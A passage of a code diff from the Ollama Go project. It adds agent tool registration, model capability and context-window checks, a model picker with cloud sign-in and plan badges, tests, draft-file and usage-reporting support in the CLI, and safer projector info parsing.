+	}
+	return resp.System
+}
+
+func agentToolsRegistry(ctx context.Context, client *api.Client, modelName string, skillCatalog *coreagent.SkillCatalog) *coreagent.Registry {
+	supportsTools, err := agentModelSupportsTools(ctx, client, modelName)
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
+	}
+	if !supportsTools {
+		return nil
+	}
+
+	registry := &coreagent.Registry{}
+	if os.Getenv("OLLAMA_AGENT_DISABLE_SHELL") == "" {
+		registry.Register(&agenttools.Bash{})
+	}
+	registry.Register(&agenttools.Read{})
+	registry.Register(&agenttools.Edit{})
+	if len(skillCatalog.List()) > 0 {
+		registry.Register(&agenttools.Skill{Catalog: skillCatalog})
+	}
+
+	if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
+		if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
+			registry.Register(&agenttools.WebSearch{})
+			registry.Register(&agenttools.WebFetch{})
+		} else {
+			fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable"))
+		}
+	}
+	return registry
+}
+
+func agentModelSupportsTools(ctx context.Context, client *api.Client, modelName string) (bool, error) {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return false, nil
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		return false, err
+	}
+	return slices.Contains(resp.Capabilities, model.CapabilityTools), nil
+}
+
+func agentModelSupportsMultimodal(ctx context.Context, client *api.Client, modelName string) bool {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return false
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
+		return false
+	}
+	return showResponseSupportsMultimodal(resp)
+}
+
+func showResponseSupportsMultimodal(resp *api.ShowResponse) bool {
+	if resp == nil {
+		return false
+	}
+	if slices.Contains(resp.Capabilities, model.CapabilityVision) || slices.Contains(resp.Capabilities, model.CapabilityAudio) {
+		return true
+	}
+	if len(resp.ProjectorInfo) != 0 {
+		return true
+	}
+	for key := range resp.ModelInfo {
+		if strings.Contains(key, ".vision.") {
+			return true
+		}
+	}
+	return false
+}
+
+func agentContextWindowForModel(ctx context.Context, client *api.Client, modelName string, fallback int) int {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return fallback
+	}
+	if tokens := loadedContextWindowForModel(ctx, client, modelName); tokens > 0 {
+		return tokens
+	}
+	if modelref.HasExplicitCloudSource(modelName) {
+		if tokens := agentRecommendationContextWindowForModel(ctx, client, modelName); tokens > 0 {
+			return tokens
+		}
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		return fallback
+	}
+	if tokens := showResponseContextWindow(resp); tokens > 0 {
+		return tokens
+	}
+	return fallback
+}
+
+func agentRecommendationContextWindowForModel(ctx context.Context, client *api.Client, modelName string) int {
+	if client == nil {
+		return 0
+	}
+	recs, err := client.ModelRecommendationsExperimental(ctx)
+	if err != nil || recs == nil {
+		return 0
+	}
+	return contextWindowFromRecommendations(modelName, recs.Recommendations)
+}
+
+func contextWindowFromRecommendations(modelName string, recommendations []api.ModelRecommendation) int {
+	for _, rec := range recommendations {
+		if rec.ContextLength <= 0 {
+			continue
+		}
+		if sameModelRef(modelName, rec.Model) {
+			return rec.ContextLength
+		}
+	}
+	return 0
+}
+
+func sameModelRef(a, b string) bool {
+	a = comparableModelRef(a)
+	b = comparableModelRef(b)
+	if strings.EqualFold(a, b) {
+		return true
+	}
+	pa, errA := modelref.ParseRef(a)
+	pb, errB := modelref.ParseRef(b)
+	if errA != nil || errB != nil {
+		return false
+	}
+	if !strings.EqualFold(pa.Base, pb.Base) {
+		return false
+	}
+	return pa.Source == pb.Source ||
+		pa.Source == modelref.ModelSourceUnspecified ||
+		pb.Source == modelref.ModelSourceUnspecified
+}
+
+func comparableModelRef(value string) string {
+	value = strings.TrimSpace(value)
+	if strings.HasSuffix(strings.ToLower(value), ":latest") {
+		return strings.TrimSpace(value[:len(value)-len(":latest")])
+	}
+	return value
+}
+
+func showResponseContextWindow(resp *api.ShowResponse) int {
+	if resp == nil {
+		return 0
+	}
+	if resp.Details.ContextLength > 0 {
+		return resp.Details.ContextLength
+	}
+	if n, ok := numericModelInfo(resp.ModelInfo["general.context_length"]); ok {
+		return n
+	}
+	best := 0
+	for key, value := range resp.ModelInfo {
+		if key != "context_length" && !strings.HasSuffix(key, ".context_length") {
+			continue
+		}
+		if n, ok := numericModelInfo(value); ok && n > best {
+			best = n
+		}
+	}
+	return best
+}
+
+func numericModelInfo(value any) (int, bool) {
+	switch v := value.(type) {
+	case int:
+		return v, v > 0
+	case int32:
+		return int(v), v > 0
+	case int64:
+		return int(v), v > 0
+	case uint:
+		return int(v), v > 0
+	case uint32:
+		return int(v), v > 0
+	case uint64:
+		return int(v), v > 0
+	case float64:
+		return int(v), v > 0
+	case string:
+		n, err := strconv.Atoi(strings.TrimSpace(v))
+		return n, err == nil && n > 0
+	default:
+		return 0, false
+	}
+}
+
+func preloadAgentModelIfLocal(ctx context.Context, client *api.Client, opts agentTUIOptions, modelName string, think *api.ThinkValue) (int, error) {
+	modelName = strings.TrimSpace(modelName)
+	if client == nil || modelName == "" {
+		return 0, nil
+	}
+	if modelref.HasExplicitCloudSource(modelName) {
+		return 0, nil
+	}
+	info, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		return 0, err
+	}
+	if info.RemoteHost != "" {
+		return 0, nil
+	}
+	if err := client.Generate(ctx, &api.GenerateRequest{
+		Model:     modelName,
+		KeepAlive: opts.KeepAlive,
+		Options:   opts.Options,
+		Think:     think,
+	}, func(api.GenerateResponse) error {
+		return nil
+	}); err != nil {
+		return 0, err
+	}
+	return loadedContextWindowForModel(ctx, client, modelName), nil
+}
+
+func loadedContextWindowForModel(ctx context.Context, client *api.Client, modelName string) int {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return 0
+	}
+	resp, err := client.ListRunning(ctx)
+	if err != nil {
+		return 0
+	}
+	return processContextWindowForModel(modelName, resp)
+}
+
+func processContextWindowForModel(modelName string, resp *api.ProcessResponse) int {
+	if resp == nil {
+		return 0
+	}
+	for _, running := range resp.Models {
+		if running.ContextLength <= 0 {
+			continue
+		}
+		if sameModelRef(modelName, running.Name) || sameModelRef(modelName, running.Model) {
+			return running.ContextLength
+		}
+	}
+	return 0
+}
+
+func agentModelOptions(ctx context.Context, client *api.Client) ([]agentchat.ModelOption, error) {
+	if client == nil {
+		return nil, errors.New("model picker requires an API client")
+	}
+
+	list, err := client.List(ctx)
+	if err != nil {
+		return nil, err
+	}
+
+	seen := make(map[string]struct{})
+	var options []agentchat.ModelOption
+	add := func(name, description string, recommended bool, requiredPlan string, cloud bool) {
+		name = strings.TrimSpace(name)
+		if name == "" {
+			return
+		}
+		key := strings.ToLower(name)
+		if _, ok := seen[key]; ok {
+			return
+		}
+		seen[key] = struct{}{}
+		options = append(options, agentchat.ModelOption{
+			Name:         name,
+			Description:  strings.TrimSpace(description),
+			Recommended:  recommended,
+			RequiredPlan: requiredPlan,
+			Cloud:        cloud,
+		})
+	}
+
+	if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
+		if recs, err := client.ModelRecommendationsExperimental(ctx); err == nil {
+			for _, rec := range recs.Recommendations {
+				name := strings.TrimSpace(rec.Model)
+				if !modelref.HasExplicitCloudSource(name) {
+					continue
+				}
+				add(name, agentRecommendationDescription(rec), true, strings.TrimSpace(rec.RequiredPlan), true)
+			}
+		}
+	}
+
+	local := slices.Clone(list.Models)
+	slices.SortStableFunc(local, func(a, b api.ListModelResponse) int {
+		return strings.Compare(strings.ToLower(a.Name), strings.ToLower(b.Name))
+	})
+	for _, model := range local {
+		name := strings.TrimSpace(model.Name)
+		if name == "" {
+			name = strings.TrimSpace(model.Model)
+		}
+		name = strings.TrimSuffix(name, ":latest")
+		if modelref.HasExplicitCloudSource(name) {
+			add(name, agentCloudModelDescription(model), false, "", true)
+			continue
+		}
+		add(name, agentLocalModelDescription(model), false, "", false)
+	}
+
+	badges, signInURLs := cloudAvailabilityBadges(ctx, client, options)
+	for i := range options {
+		options[i].AvailabilityBadge = badges[options[i].Name]
+		options[i].SignInURL = signInURLs[options[i].Name]
+	}
+	return options, nil
+}
+
+func cloudAvailabilityBadges(ctx context.Context, client *api.Client, options []agentchat.ModelOption) (map[string]string, map[string]string) {
+	badges := make(map[string]string)
+	signInURLs := make(map[string]string)
+	hasCloud := false
+	for _, opt := range options {
+		if opt.Cloud {
+			hasCloud = true
+			break
+		}
+	}
+	if !hasCloud {
+		return badges, signInURLs
+	}
+
+	if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
+		return badges, signInURLs
+	}
+
+	whoamiCtx, cancel := context.WithTimeout(ctx, 3*time.Second)
+	defer cancel()
+	user, err := client.Whoami(whoamiCtx)
+	if err != nil {
+		var authErr api.AuthorizationError
+		signInURL := ""
+		if errors.As(err, &authErr) && (authErr.StatusCode == http.StatusUnauthorized || authErr.SigninURL != "") {
+			if authErr.SigninURL != "" {
+				signInURL = authErr.SigninURL
+			}
+		} else {
+			return badges, signInURLs
+		}
+		for _, opt := range options {
+			if opt.Cloud {
+				badges[opt.Name] = "Sign in required"
+				if signInURL != "" {
+					signInURLs[opt.Name] = signInURL
+				}
+			}
+		}
+		return badges, signInURLs
+	}
+
+	signedIn := user != nil && user.Name != ""
+	for _, opt := range options {
+		if !opt.Cloud {
+			continue
+		}
+		if !signedIn {
+			badges[opt.Name] = "Sign in required"
+		} else if opt.RequiredPlan != "" && !launch.PlanSatisfies(user.Plan, opt.RequiredPlan) {
+			badges[opt.Name] = "Upgrade required"
+		}
+	}
+	return badges, signInURLs
+}
+
+func agentRecommendationDescription(rec api.ModelRecommendation) string {
+	var parts []string
+	if description := strings.TrimSpace(rec.Description); description != "" {
+		parts = append(parts, description)
+	} else {
+		parts = append(parts, "cloud")
+	}
+	if rec.ContextLength > 0 {
+		parts = append(parts, format.HumanNumber(uint64(rec.ContextLength))+" ctx")
+	}
+	return strings.Join(parts, " - ")
+}
+
+func agentLocalModelDescription(model api.ListModelResponse) string {
+	desc := agentModelArchDescription(model)
+	if desc == "" {
+		return "local"
+	}
+	return "local - " + desc
+}
+
+func agentCloudModelDescription(model api.ListModelResponse) string {
+	return agentModelArchDescription(model)
+}
+
+func agentModelArchDescription(model api.ListModelResponse) string {
+	var details []string
+	if model.Details.Family != "" {
+		details = append(details, model.Details.Family)
+	}
+	if ps := humanizedParameterSize(model.Details.ParameterSize); ps != "" {
+		details = append(details, ps)
+	}
+	if model.Details.QuantizationLevel != "" {
+		details = append(details, model.Details.QuantizationLevel)
+	}
+	var parts []string
+	if len(details) > 0 {
+		parts = append(parts, strings.Join(details, " "))
+	}
+	if model.Details.ContextLength > 0 {
+		parts = append(parts, format.HumanNumber(uint64(model.Details.ContextLength))+" ctx")
+	}
+	return strings.Join(parts, " - ")
+}
+
+func humanizedParameterSize(s string) string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return ""
+	}
+	if f, err := strconv.ParseFloat(s, 64); err == nil {
+		return format.HumanNumber(uint64(f))
+	}
+	return s
+}
+
+func agentCloudStatusDisabled(ctx context.Context, client *api.Client) (disabled bool, known bool) {
+	if internalcloud.Disabled() {
+		return true, true
+	}
+
+	status, err := client.CloudStatusExperimental(ctx)
+	if err != nil {
+		var statusErr api.StatusError
+		if errors.As(err, &statusErr) && statusErr.StatusCode == http.StatusNotFound {
+			return false, false
+		}
+		return false, false
+	}
+	return status.Cloud.Disabled, true
+}
+
+func ensureCloudModelAccess(ctx context.Context, client *api.Client, modelName, requiredPlan string) error {
+	if client == nil {
+		return errors.New("no API client available")
+	}
+	if disabled, known := agentCloudStatusDisabled(ctx, client); known && disabled {
+		return errors.New("remote inference is unavailable")
+	}
+	user, err := client.Whoami(ctx)
+	if err != nil {
+		return err
+	}
+	if user != nil && user.Name != "" {
+		if requiredPlan != "" && !launch.PlanSatisfies(user.Plan, requiredPlan) {
+			return fmt.Errorf("plan upgrade required: %s needs plan %s, you have %s", modelName, requiredPlan, user.Plan)
+		}
+		return nil
+	}
+	return fmt.Errorf("%s requires sign in", modelName)
+}

cmd/agent_tui_test.go

@@ -0,0 +1,186 @@
+package cmd
+
+import (
+	"errors"
+	"os"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	coreagent "github.com/ollama/ollama/agent"
+	agenttools "github.com/ollama/ollama/agent/tools"
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/cmd/config"
+	agentchat "github.com/ollama/ollama/cmd/tui/chat"
+)
+
+func TestAgentSystemPromptIncludesSessionWorkingDirOnce(t *testing.T) {
+	workingDir := t.TempDir()
+	prompt := agentSystemPromptAtWithWorkingDir(
+		time.Date(2026, time.July, 14, 0, 0, 0, 0, time.UTC),
+		"test-model",
+		"model instruction",
+		"caller instruction",
+		workingDir,
+	)
+
+	workingDirInstruction := "Current working directory: " + strconv.Quote(workingDir) + "."
+	if got := strings.Count(prompt, workingDirInstruction); got != 1 {
+		t.Fatalf("working directory instruction count = %d, want 1:\n%s", got, prompt)
+	}
+	for _, want := range []string{"model instruction", "caller instruction"} {
+		if !strings.Contains(prompt, want) {
+			t.Fatalf("prompt missing %q:\n%s", want, prompt)
+		}
+	}
+}
+
+func TestAgentWorkingDirIgnoresGetwdFailure(t *testing.T) {
+	original := agentGetwd
+	agentGetwd = func() (string, error) {
+		return "", errors.New("getwd failed")
+	}
+	t.Cleanup(func() {
+		agentGetwd = original
+	})
+
+	if got := agentWorkingDir(); got != "" {
+		t.Fatalf("working directory = %q, want empty on getwd failure", got)
+	}
+}
+
+func TestAgentSystemPromptIncludesSkillCatalog(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.Mkdir(filepath.Join(dir, "release-notes"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(dir, "release-notes", "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft releases.\n---\nUse bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := coreagent.DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	got := agentSystemPromptAtWithWorkingDir(time.Date(2026, 7, 14, 0, 0, 0, 0, time.UTC), "model", "", catalog.SystemContext(), "")
+	if !strings.Contains(got, "release-notes: Draft releases.") || !strings.Contains(got, "normal approval rules") {
+		t.Fatalf("system prompt missing skill context: %q", got)
+	}
+}
+
+func TestAgentSkillSystemContextRequiresAvailableEnabledSkillTool(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.Mkdir(filepath.Join(dir, "release-notes"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(dir, "release-notes", "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft releases.\n---\nUse bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := coreagent.DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	registry := &coreagent.Registry{}
+	registry.Register(&agenttools.Skill{Catalog: catalog})
+
+	if got := agentSkillSystemContext(catalog, registry, false); !strings.Contains(got, "release-notes: Draft releases.") {
+		t.Fatalf("enabled skill context = %q", got)
+	}
+	if got := agentSkillSystemContext(catalog, registry, true); got != "" {
+		t.Fatalf("disabled tools should omit skill context, got %q", got)
+	}
+	if got := agentSkillSystemContext(catalog, &coreagent.Registry{}, false); got != "" {
+		t.Fatalf("unavailable skill tool should omit skill context, got %q", got)
+	}
+}
+
+func TestAgentSelectionItemsUseLaunchSections(t *testing.T) {
+	items := agentSelectionItems([]agentchat.ModelOption{
+		{Name: "glm-5.2:cloud", Description: "cloud", Recommended: true, Cloud: true},
+		{Name: "llama3.2", Description: "local"},
+	})
+
+	if len(items) != 2 {
+		t.Fatalf("items = %d, want 2", len(items))
+	}
+	if !items[0].Recommended {
+		t.Fatalf("cloud recommendation should be pinned: %#v", items[0])
+	}
+	if items[1].Recommended {
+		t.Fatalf("local selected model should stay in launch More section: %#v", items[1])
+	}
+	if items[1].Description != "local" {
+		t.Fatalf("selected model description = %q, want plain description", items[1].Description)
+	}
+}
+
+func TestContextWindowFromRecommendationsMatchesCloudModel(t *testing.T) {
+	got := contextWindowFromRecommendations("glm-5.2:cloud", []api.ModelRecommendation{
+		{Model: "gemma4:cloud", ContextLength: 32768},
+		{Model: "glm-5.2:cloud", ContextLength: 1048576},
+	})
+	if got != 1048576 {
+		t.Fatalf("context window = %d, want 1048576", got)
+	}
+}
+
+func TestShowResponseContextWindowReadsArchitectureContextLength(t *testing.T) {
+	got := showResponseContextWindow(&api.ShowResponse{
+		ModelInfo: map[string]any{
+			"qwen3.context_length":                       uint32(262144),
+			"qwen3.rope.scaling.original_context_length": uint32(32768),
+		},
+	})
+	if got != 262144 {
+		t.Fatalf("context window = %d, want 262144", got)
+	}
+}
+
+func TestProcessContextWindowForModelMatchesLatestAlias(t *testing.T) {
+	got := processContextWindowForModel("ornith", &api.ProcessResponse{
+		Models: []api.ProcessModelResponse{
+			{Name: "other:latest", Model: "other:latest", ContextLength: 32768},
+			{Name: "ornith:latest", Model: "ornith:latest", ContextLength: 262144},
+		},
+	})
+	if got != 262144 {
+		t.Fatalf("context window = %d, want 262144", got)
+	}
+}
+
+func TestSaveLastAgentModel(t *testing.T) {
+	setCmdTestHome(t, t.TempDir())
+
+	if err := saveLastAgentModel(" qwen3:8b "); err != nil {
+		t.Fatalf("saveLastAgentModel returned error: %v", err)
+	}
+	if got := config.LastModel(); got != "qwen3:8b" {
+		t.Fatalf("last model = %q, want qwen3:8b", got)
+	}
+
+	if err := saveLastAgentModel(" "); err != nil {
+		t.Fatalf("saveLastAgentModel blank returned error: %v", err)
+	}
+	if got := config.LastModel(); got != "qwen3:8b" {
+		t.Fatalf("blank save changed last model to %q", got)
+	}
+}
+
+func TestApplyAgentFlagsNoTools(t *testing.T) {
+	cmd := &cobra.Command{}
+	registerAgentFlags(cmd)
+	if err := cmd.Flags().Set("no-tools", "true"); err != nil {
+		t.Fatal(err)
+	}
+
+	var opts agentTUIOptions
+	if _, err := applyAgentFlags(cmd, &opts); err != nil {
+		t.Fatalf("applyAgentFlags returned error: %v", err)
+	}
+	if !opts.ToolsDisabled {
+		t.Fatal("--no-tools should disable tools")
+	}
+}

cmd/cmd.go

@@ -18,6 +18,7 @@ import (
 	"os"
 	"os/exec"
 	"os/signal"
+	"path"
 	"path/filepath"
 	"runtime"
 	"slices"
@@ -26,6 +27,7 @@ import (
 	"strings"
 	"sync/atomic"
 	"syscall"
+	"text/tabwriter"
 	"time"
 
 	"github.com/containerd/console"
@@ -41,6 +43,7 @@ import (
 	"github.com/ollama/ollama/cmd/config"
 	"github.com/ollama/ollama/cmd/launch"
 	"github.com/ollama/ollama/cmd/tui"
+	"github.com/ollama/ollama/discover"
 	"github.com/ollama/ollama/envconfig"
 	"github.com/ollama/ollama/format"
 	"github.com/ollama/ollama/internal/modelref"
@@ -53,7 +56,6 @@ import (
 	"github.com/ollama/ollama/types/model"
 	"github.com/ollama/ollama/types/syncmap"
 	"github.com/ollama/ollama/version"
-	xcmd "github.com/ollama/ollama/x/cmd"
 	xcreate "github.com/ollama/ollama/x/create"
 	xcreateclient "github.com/ollama/ollama/x/create/client"
 	"github.com/ollama/ollama/x/imagegen"
@@ -94,6 +96,8 @@ func init() {
 	}
 
 	launch.DefaultConfirmPrompt = tui.RunConfirmWithOptions
+
+	launch.DefaultSpinner = tui.RunSpinner
 }
 
 func runTUISingleSelector(title string, items []launch.SelectionItem, current string, updates <-chan []launch.SelectionItem) (string, error) {
@@ -232,9 +236,6 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	// This gates both safetensors LLM and imagegen model creation
 	experimental, _ := cmd.Flags().GetBool("experimental")
 	draftQuantize, _ := cmd.Flags().GetString("draft-quantize")
-	if draftQuantize != "" && !experimental {
-		return errors.New("--draft-quantize requires --experimental")
-	}
 	if experimental {
 		if !isLocalhost() {
 			return errors.New("remote safetensor model creation not yet supported")
@@ -329,6 +330,12 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	if quantize != "" {
 		req.Quantize = quantize
 	}
+	if draftQuantize != "" {
+		if len(req.DraftFiles) == 0 {
+			return errors.New("--draft-quantize requires a DRAFT model")
+		}
+		req.DraftQuantize = draftQuantize
+	}
 
 	client, err := api.ClientFromEnvironment()
 	if err != nil {
@@ -339,29 +346,40 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	g.SetLimit(max(runtime.GOMAXPROCS(0)-1, 1))
 
 	files := syncmap.NewSyncMap[string, string]()
+	fileNames := createRequestFileNames(req.Files)
 	for f, digest := range req.Files {
 		g.Go(func() error {
 			if _, err := createBlob(cmd, client, f, digest, p); err != nil {
 				return err
 			}
 
-			// TODO: this is incorrect since the file might be in a subdirectory
-			//       instead this should take the path relative to the model directory
-			//       but the current implementation does not allow this
-			files.Store(filepath.Base(f), digest)
+			files.Store(fileNames[f], digest)
 			return nil
 		})
 	}
 
 	adapters := syncmap.NewSyncMap[string, string]()
+	adapterNames := createRequestFileNames(req.Adapters)
 	for f, digest := range req.Adapters {
 		g.Go(func() error {
 			if _, err := createBlob(cmd, client, f, digest, p); err != nil {
 				return err
 			}
 
-			// TODO: same here
-			adapters.Store(filepath.Base(f), digest)
+			adapters.Store(adapterNames[f], digest)
+			return nil
+		})
+	}
+
+	draftFiles := syncmap.NewSyncMap[string, string]()
+	draftFileNames := createRequestFileNames(req.DraftFiles)
+	for f, digest := range req.DraftFiles {
+		g.Go(func() error {
+			if _, err := createBlob(cmd, client, f, digest, p); err != nil {
+				return err
+			}
+
+			draftFiles.Store(draftFileNames[f], digest)
 			return nil
 		})
 	}
@@ -372,6 +390,7 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 
 	req.Files = files.Items()
 	req.Adapters = adapters.Items()
+	req.DraftFiles = draftFiles.Items()
 
 	bars := make(map[string]*progress.Bar)
 	fn := func(resp api.ProgressResponse) error {
@@ -409,6 +428,65 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	return nil
 }
 
+func createRequestFileNames(files map[string]string) map[string]string {
+	names := make(map[string]string, len(files))
+	root, ok := commonFileRoot(files)
+	for f := range files {
+		name := filepath.Base(f)
+		if ok {
+			abs, err := filepath.Abs(f)
+			if err == nil {
+				if rel, err := filepath.Rel(root, abs); err == nil && rel != "." && rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
+					name = rel
+				}
+			}
+		}
+		names[f] = path.Clean(filepath.ToSlash(name))
+	}
+	return names
+}
+
+func commonFileRoot(files map[string]string) (string, bool) {
+	if len(files) < 2 {
+		return "", false
+	}
+
+	var root string
+	var volume string
+	for f := range files {
+		abs, err := filepath.Abs(f)
+		if err != nil {
+			return "", false
+		}
+		if nextVolume := filepath.VolumeName(abs); volume == "" {
+			volume = nextVolume
+		} else if !strings.EqualFold(volume, nextVolume) {
+			return "", false
+		}
+
+		dir := filepath.Dir(abs)
+		if root == "" {
+			root = dir
+			continue
+		}
+
+		for {
+			rel, err := filepath.Rel(root, dir)
+			if err == nil && (rel == "." || (rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)))) {
+				break
+			}
+
+			parent := filepath.Dir(root)
+			if parent == root {
+				return "", false
+			}
+			root = parent
+		}
+	}
+
+	return root, root != ""
+}
+
 func createBlob(cmd *cobra.Command, client *api.Client, path string, digest string, p *progress.Progress) (string, error) {
 	realPath, err := filepath.EvalSymlinks(path)
 	if err != nil {
@@ -809,11 +887,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 		return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive)
 	}
 
-	// Check for experimental flag
-	isExperimental, _ := cmd.Flags().GetBool("experimental")
-	yoloMode, _ := cmd.Flags().GetBool("experimental-yolo")
-	enableWebsearch, _ := cmd.Flags().GetBool("experimental-websearch")
-
 	if interactive {
 		if err := loadOrUnloadModel(cmd, &opts); err != nil {
 			var sErr api.AuthorizationError
@@ -840,11 +913,6 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 			}
 		}
 
-		// Use experimental agent loop with tools
-		if isExperimental {
-			return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode, enableWebsearch)
-		}
-
 		return generateInteractive(cmd, opts)
 	}
 	if err := generate(cmd, opts); err != nil {
@@ -910,6 +978,100 @@ func SignoutHandler(cmd *cobra.Command, args []string) error {
 	return nil
 }
 
+func UsageHandler(cmd *cobra.Command, args []string) error {
+	out := cmd.OutOrStdout()
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return err
+	}
+
+	usage, err := client.Usage(cmd.Context())
+	if err != nil {
+		var aErr api.AuthorizationError
+		if errors.As(err, &aErr) && aErr.StatusCode == http.StatusUnauthorized {
+			fmt.Fprintln(out, "You need to be signed in to Ollama to view usage.")
+			fmt.Fprintln(out)
+			if aErr.SigninURL != "" {
+				_ = browser.OpenURL(aErr.SigninURL)
+				fmt.Fprintf(out, ConnectInstructions, aErr.SigninURL)
+			}
+			return nil
+		}
+
+		return err
+	}
+
+	fmt.Fprintln(out, "Usage")
+	details := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
+	fmt.Fprintf(details, "  Period\t%s to %s\n", usage.Activity.Period.StartingAt.Format("2006-01-02"), usage.Activity.Period.EndingAt.Format("2006-01-02"))
+	fmt.Fprintf(details, "  Spend\t$%s\n", usage.Activity.Cost)
+	if err := details.Flush(); err != nil {
+		return err
+	}
+
+	if len(usage.Activity.Models) == 0 && usageLimitEmpty(usage.Limits.Session) && usageLimitEmpty(usage.Limits.Weekly) {
+		fmt.Fprintln(out)
+		fmt.Fprintln(out, "No usage recorded for this period.")
+		return nil
+	}
+
+	if len(usage.Activity.Models) > 0 {
+		fmt.Fprintln(out)
+		fmt.Fprintln(out, "Activity")
+		table := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
+		fmt.Fprintln(table, "  Model\tRequests\tSpend")
+		for _, m := range usage.Activity.Models {
+			fmt.Fprintf(table, "  %s\t%d\t$%s\n", usageModelName(m.Name), m.RequestCount, m.Cost)
+		}
+		if err := table.Flush(); err != nil {
+			return err
+		}
+	}
+
+	if err := writeUsageLimit(out, "Session", usage.Limits.Session); err != nil {
+		return err
+	}
+	if err := writeUsageLimit(out, "Weekly", usage.Limits.Weekly); err != nil {
+		return err
+	}
+
+	return nil
+}
+
+func usageLimitEmpty(limit api.UsageLimit) bool {
+	return limit.Usage == 0 && len(limit.Models) == 0
+}
+
+func usageModelName(name string) string {
+	switch name {
+	case "web search":
+		return "Web Search"
+	case "web fetch":
+		return "Web Fetch"
+	default:
+		return name
+	}
+}
+
+func writeUsageLimit(out io.Writer, name string, limit api.UsageLimit) error {
+	if usageLimitEmpty(limit) {
+		return nil
+	}
+
+	fmt.Fprintln(out)
+	fmt.Fprintln(out, name)
+	table := tabwriter.NewWriter(out, 0, 4, 2, ' ', 0)
+	fmt.Fprintf(table, "  Used\t%.1f%%\n", limit.Usage*100)
+	if len(limit.Models) > 0 {
+		fmt.Fprintln(table, "  Model\tRequests")
+	}
+	for _, m := range limit.Models {
+		fmt.Fprintf(table, "  %s\t%d\n", usageModelName(m.Name), m.RequestCount)
+	}
+	return table.Flush()
+}
+
 func PushHandler(cmd *cobra.Command, args []string) error {
 	client, err := api.ClientFromEnvironment()
 	if err != nil {
@@ -1277,11 +1439,28 @@ func showInfo(resp *api.ShowResponse, verbose bool, w io.Writer) error {
 
 	if resp.ProjectorInfo != nil {
 		tableRender("Projector", func() (rows [][]string) {
-			arch := resp.ProjectorInfo["general.architecture"].(string)
-			rows = append(rows, []string{"", "architecture", arch})
-			rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(resp.ProjectorInfo["general.parameter_count"].(float64)))})
-			rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.embedding_length", arch)].(float64), 'f', -1, 64)})
-			rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(resp.ProjectorInfo[fmt.Sprintf("%s.vision.projection_dim", arch)].(float64), 'f', -1, 64)})
+			arch, _ := resp.ProjectorInfo["general.architecture"].(string)
+			if arch != "" {
+				rows = append(rows, []string{"", "architecture", arch})
+			}
+			if v, ok := resp.ProjectorInfo["general.parameter_count"].(float64); ok {
+				rows = append(rows, []string{"", "parameters", format.HumanNumber(uint64(v))})
+			}
+
+			projectorValue := func(suffix string) (float64, bool) {
+				for _, modality := range []string{"vision", "audio"} {
+					if v, ok := resp.ProjectorInfo[fmt.Sprintf("%s.%s.%s", arch, modality, suffix)].(float64); ok {
+						return v, true
+					}
+				}
+				return 0, false
+			}
+			if v, ok := projectorValue("embedding_length"); ok {
+				rows = append(rows, []string{"", "embedding length", strconv.FormatFloat(v, 'f', -1, 64)})
+			}
+			if v, ok := projectorValue("projection_dim"); ok {
+				rows = append(rows, []string{"", "dimensions", strconv.FormatFloat(v, 'f', -1, 64)})
+			}
 			return
 		})
 	}
@@ -2050,72 +2229,32 @@ func ensureServerRunning(ctx context.Context) error {
 }
 
 func launchInteractiveModel(cmd *cobra.Command, modelName string) error {
-	opts := runOptions{
-		Model:       modelName,
-		WordWrap:    os.Getenv("TERM") == "xterm-256color",
-		Options:     map[string]any{},
-		ShowConnect: true,
-	}
-
 	client, err := api.ClientFromEnvironment()
 	if err != nil {
